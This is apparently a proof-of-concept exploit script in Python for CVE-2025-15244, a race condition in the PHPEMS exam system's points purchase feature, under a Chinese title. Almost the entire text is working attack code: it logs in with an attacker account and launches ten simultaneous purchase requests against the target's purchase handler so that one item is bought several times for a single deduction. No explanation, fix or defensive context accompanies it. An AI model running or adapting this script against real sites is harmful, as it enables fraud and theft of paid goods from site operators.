CVE-2025-15244 PHPEMS积分购买竞态条件漏洞

import requests import threading import time # Target configuration TARGET_URL = "http://target-server/phpems/" USERNAME = "attacker_account" PASSWORD = "attacker_password" ITEM_ID = "item_to_purchase" # Login to get session def login(): session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(TARGET_URL + "index.php?user-login.html", data=login_data) return session # Race condition purchase request def purchase_item(session, item_id): purchase_data = { "itemid": item_id, "action": "buy" } try: response = session.post(TARGET_URL + "index.php?purchase-handler.html", data=purchase_data) return response.status_code, response.text except Exception as e: return None, str(e) # Main attack function def exploit(): print("[*] Starting Race Condition Attack on CVE-2025-15244") session = login() threads = [] num_threads = 10 # Number of concurrent requests # Launch concurrent purchase requests for i in range(num_threads): t = threading.Thread(target=purchase_item, args=(session, ITEM_ID)) threads.append(t) # Start all threads simultaneously for t in threads: t.start() # Wait for all threads to complete for t in threads: t.join() print("[*] Attack completed. Check if items were purchased multiple times.") if __name__ == "__main__": exploit()